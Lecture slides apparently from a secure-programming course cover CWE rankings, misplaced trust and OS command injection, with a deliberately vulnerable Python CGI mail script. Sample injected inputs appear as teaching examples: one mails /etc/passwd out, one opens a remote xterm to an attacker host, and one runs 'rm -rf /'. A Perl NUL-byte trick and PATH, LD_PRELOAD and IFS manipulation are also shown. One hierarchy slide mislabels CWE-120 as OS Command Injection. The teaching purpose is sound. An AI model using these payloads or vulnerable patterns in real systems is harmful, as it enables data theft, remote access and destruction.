Outline

Ranking vulnerabilities by type

Trust assumptions

Command injection
  Meta-characters in shell commands
  Environment variables

Summary
What is CWE?

- Idea: organise CVEs into categories of problem
- Use categories to describe scope of issues/protection
- Weaknesses classify Vulnerabilities
What is CWE?

- A **CWE** is an identifier such as CWE-287
- Also with a name, e.g. Improper Authentication
- CWEs are organised into a hierarchy:
  - *weakness classes* (parents), and *base weaknesses*
  - each CWE can be located at several positions
  - the hierarchy provides multiple *views*
  - we’ll look in more detail later

- CWE is also intended as a unifying taxonomy
The Most Dangerous Software Errors

- MITRE and SANS surveyed the top CWE categories
- Result: top 25 software errors by CWE
- Last updated 2011
- Ranking is by a number of measures, including e.g.
  - judgement of typical risk level
  - prevalence

The OWASP Top 10 is a similar ranking of error types undertaken by the OWASP, the Open Web Application Security Project, last updated 2017. We’ll look at this later.
NVD CVE-\(\rightarrow\)CWE assignments (incomplete)
## MITRE/SANS Top 3 CWEs in 2011

<table>
<thead>
<tr>
<th>Rank</th>
<th>CWE</th>
<th>Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>1.</td>
<td>CWE-89</td>
<td>SQL Injection</td>
</tr>
<tr>
<td>2.</td>
<td>CWE-78</td>
<td>OS Command Injection</td>
</tr>
<tr>
<td>3.</td>
<td>CWE-120</td>
<td>Classic Buffer Overflow</td>
</tr>
</tbody>
</table>

Full names:

- **CWE-89**: Improper Neutralization of Special Elements used in an SQL Command
- **CWE-78**: Improper Neutralization of Special Elements used in an OS Command
- **CWE-120**: Buffer Copy without Checking Size of Input
What is Injection?

Here’s a fragment of the CWE hierarchy:

- **CWE-74**: Injection
  - Improper Neutralization of Special Elements in Output used by a Downstream Component
- **CWE-77**: Command Injection
  - **CWE-89**: SQL Injection
  - **CWE-120**: OS Command Injection
Improper neutralization of special elements

This is jargon for failing to:

**ALWAYS CHECK YOUR INPUTS!**

- Most important lesson in secure programming!
- Assume inputs can be influenced by adversary
- Injection attacks rely on devious inputs
- “Special elements” are usually *meta-characters*
- Must do **input validation** or **sanitization**
A “downstream component” might be

- a call to a library function, to
  - show a picture
  - play a movie file
  - **execute an OS command**
- a message sent to another service, to
  - send a web query via REST or SOAP
  - **query a database**
Outline

Ranking vulnerabilities by type

Trust assumptions

Command injection
  Meta-characters in shell commands
  Environment variables

Summary
Misplaced trust

Remember the **Trusted Code Base**, is the part of the system that can cause damage.

Programmers make *trust assumptions* concerning which parts of the system they believe will behave as expected.

Sometimes the reasoning is **faulty**. E.g.,

- OS is hardened, firewall blocks incoming traffic
- ...so network inputs can be believed

**Question.** Why might this kind of reasoning be unreliable?
Implicit assumptions may be wrong

**WRONG ASSUMPTION**: compiled programs are “unreadable binary gobbledygook”
- binaries are merely *tricky* to read (cf Lab 1)
- they obscure, don’t conceal... even if obfuscated
- reverse engineering is well supported by tools
- ⇒ embedded secrets will be discovered
- ⇒ client/server communication will be subverted
Implicit assumptions may be wrong

**WRONG ASSUMPTION**: my web page checks its input, so it has the right format when the form data arrives

- attacker can copy page, turn off JavaScript checks
- may construct a HTTP request explicitly
- modify requests just before they are sent
- ⇒ all inputs need re-validation server side
- ⇒ special encodings may be used to hide payloads
Outline

Ranking vulnerabilities by type

Trust assumptions

Command injection
  Meta-characters in shell commands
  Environment variables

Summary
Operating system commands in code

Programmers often insert system command calls in application code.

These are interpreted (in Unix and Windows) by a command shell.

Why are they used?

- Programming language has no suitable library
- **Convenience, time saving**
  - command shell easier to use than library
Example CGI program in Python

```python
#!/usr/bin/python
import cgi, os

print "Content-type: text/html";
print

form = cgi.FieldStorage()
message = form["contents"].value
recipient = form["to"].value
tmpfile = open("/tmp/cgi-mail", "w")

tmpfile.write(message)
tmpfile.close()
os.system("/usr/bin/sendmail" + recipient + "< /tmp/cgi-mail")
os.unlink("/tmp/cgi-mail")

print "<html><h3>Message sent.</h3></html>"
```

(Example taken from *Building Secure Software*, p.320)
Normal use

```
    os.system("/usr/bin/sendmail" + recipient + "< /tmp/cgi-mail")
```

recipient is taken from a web form. It should be an email address:

```
    niceperson@friendlyplace.com
```
Malicious use

```python
os.system("/usr/bin/sendmail" + recipient + "< /tmp/cgi-mail")
```

recipient is taken from a web form.

But the **attacker can control it!**

```plaintext
attacker@hotmail.com < /etc/passwd; #
```

Mails the content of the password file!
Malicious use

```python
os.system("/usr/bin/sendmail" + recipient + "< /tmp/cgi-mail")
```

recipient is taken from a web form.

But the **attacker can control it!**

```plaintext
attacker@hotmail.com < /etc/passwd; #
```

Mails the content of the password file!

Recall that the password file on Unix contains a list of usernames on the systems. It used to contain passwords, but on modern systems these are in a `shadow` password file. Still, leaking `/etc/passwd` or registry database files on Windows is not wise (why?).
Malicious use

```python
os.system("/usr/bin/sendmail" + recipient + "< /tmp/cgi-mail")
```

recipient is taken from a web form.

But the **attacker can control it!**

```
attackerhotmail.com < /etc/passwd; export DISPLAY=proxy.attacker.org:0; /usr/X11R6/bin/xterm&; #
```

Mails the password file *and* launches a remote terminal on the attacker’s machine!
Outline

Ranking vulnerabilities by type

Trust assumptions

Command injection
  Meta-characters in shell commands
  Environment variables

Summary
Metadata and meta-characters

**Metadata** accompanies the main data and represents additional information about it.

- how to display textual strings by representing *end-of-line* characters.
- where a string ends, with an *end-of-string* marker.
- *mark-up* such as HTML directives

“Metadata” can also refer (e.g., in law, privacy policies) to parts of communications such as phone calls and email messages: To, From, When, … everything except the message content.

**Question.** Apart from injection attacks, why might metadata be a concern?
In-band versus out-of-band

**In-band representation** embeds metadata into the data stream itself.

- Length of C-style strings: encoded with NUL character terminator in the data stream.

**Out-of-band representation** separates metadata from data.

- Length of Java-style strings: stored separately outside the string.

**Exercise.** Discuss the pros and cons of each approach.
Familiar meta-characters

Meta-characters are used so commonly in some string encoded datatypes, we forget they are there.

Common cases are

- **separators** or **delimiters** used to encode multiple items in one string
- **escape-sequences** to describe additional data, e.g. Unicode characters or binary data. Not metadata, but uses *meta-characters* to represent the actual data.

**Question.** What kind of programming vulnerabilities may lurk around meta-characters?
Familiar meta-characters

Examples datatypes represented with meta-characters:

- A **filename with path**, `/var/log/messages`, `../etc/passwd`
  - the *directory separator* `/`
  - parent sequence `..`
- Windows file or registry paths (separator `\`)
- Unix PATH variables (separator `:`)
- **Email addresses** which use `@` to delimit the domain name

**Exercise.** Think of some more examples of meta-characters used in your favourite systems or applications.
Some meta-characters for shells

<table>
<thead>
<tr>
<th>Char</th>
<th>Use</th>
</tr>
</thead>
<tbody>
<tr>
<td>#</td>
<td>Comment, ignore rest of line</td>
</tr>
<tr>
<td>;</td>
<td>Terminate command</td>
</tr>
<tr>
<td>&quot;</td>
<td>Backtick command ‘cmd’ inserts output of cmd</td>
</tr>
<tr>
<td>&quot;</td>
<td>Quote with substitution: &quot;${HOME}&quot; = /Users/david</td>
</tr>
<tr>
<td>'</td>
<td>Quote literally: ' ${HOME} ' = ${HOME}</td>
</tr>
</tbody>
</table>

Many others:

^ $ ? % & ( ) > < [ ] - * ! . ~ | \t \r \n [space]

**Exercise.** If you don’t know (or even if you think you do!), try to find out how these characters are treated when parsing commands for the **ash** shell.
Sub-process invocation with C

- `system()` executes a given command in a shell, equivalently to `/bin/sh -c <cmd>`
- `popen()` similarly executes a command as a sub-process, returning a pipe to send or read data.

Other languages providing similar facilities are often built on the C-library equivalents.

These are risky as they invoke a **shell** to process the commands.
Sub-process communication in Python

Here’s an example from the Python documentation which recommends \textit{against} the convenience of using a shell interpreter for the \texttt{call()} system call function.

```python
>>> from subprocess import call
>>> filename = input("What file would you like to display?\n")
What file would you like to display?
non_existent; rm -rf / #
>>> call("cat " + filename, shell=True) # Uh-oh. This will end badly..
```
Differences in meta-characters

Some attacks exploit differences in meta-characters between languages. Here’s a Perl CGI fragment:

```perl
open(FH, ">$username.txt") || die("$!");
print FH $data;
close (FH);
```

- Perl *doesn’t* treat ASCII NUL as a terminator
- But shell conventions are used for open args
- So if `username=evilcmd.pl%00`, above will create a file `evilcmd.pl`
- ...and put the string `$data` into it
- ...giving a possible code injection

(The fix is to avoid this form of open)
Outline

Ranking vulnerabilities by type

Trust assumptions

Command injection
   Meta-characters in shell commands
   Environment variables

Summary
Commands are influenced by the environment

- Environment variables are another form of input!
- The attacker may be able to change them
Subverting the PATH

- The PATH environment variable defines a search path to find programs
- If commands are called without explicit paths, the “wrong” version may be found

An old Unix default was to favour developer convenience, putting the current working directory first on the PATH:

```
PATH=.:/bin:/usr/bin:/usr/local/bin
```

**Question.** Why might this be risky and unpredictable?
Pre-loading attacks on Windows

If an application calls `loadLibrary` with just the name of the DLL, the default safe search order is:

1. The directory from which the application loaded.
2. The system directory.
3. The 16-bit system directory.
4. The Windows directory.
5. The current directory.
6. **The directories that are listed in the PATH environment variable.**

See [Dynamic Link Library Security](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365585) on MSDN.

**Question.** How could an attacker load a fake DLL?
Pre-loading attacks on Unix

Similarly, Unix systems use a search path which can be defined/overridden by variables such as:

- LD_LIBRARY_PATH
- LD_PRELOAD

If the attacker can influence these paths, she can change the libraries which get loaded.

(modern libraries avoid using these variables for suid-root programs run by non-root users)
Changing the parser: IFS

An old hack is to change the IFS (inter-field separator) used by the shell to parse words.

```bash
$ export IFS="o"
$ var='hellodavid'
$ echo $var
hell david
```

Suppose the attacker sets IFS="/", it may change a safe call

```bash
system("/bin/safeprog")
```

into one which references the PATH variable

```bash
system(" bin safeprog")
```

and `sh -c bin safeprog` would be executed.
Infamous bug: Bash “Shellshock” (2014)

- Millions of servers and embedded systems were vulnerable to remote command execution.
- Rapid cascade of problems starting with CVE-2014-6271.

**Exercise.** Investigate the Shellshock CVEs and explain why they occurred. Why do you think they took so long to be found?
Review questions

CWEs

- Explain: “Improper Neutralization of Special Elements in Output used by a Downstream Component” and other Top 25s.

OS command injections

- Why are OS commands executed by application programs?
- Give two mechanisms by which OS commands may be injected by an attacker.
Examples in this lecture are taken from *Building Secure Software* and *The Art of Software Security Assessment*.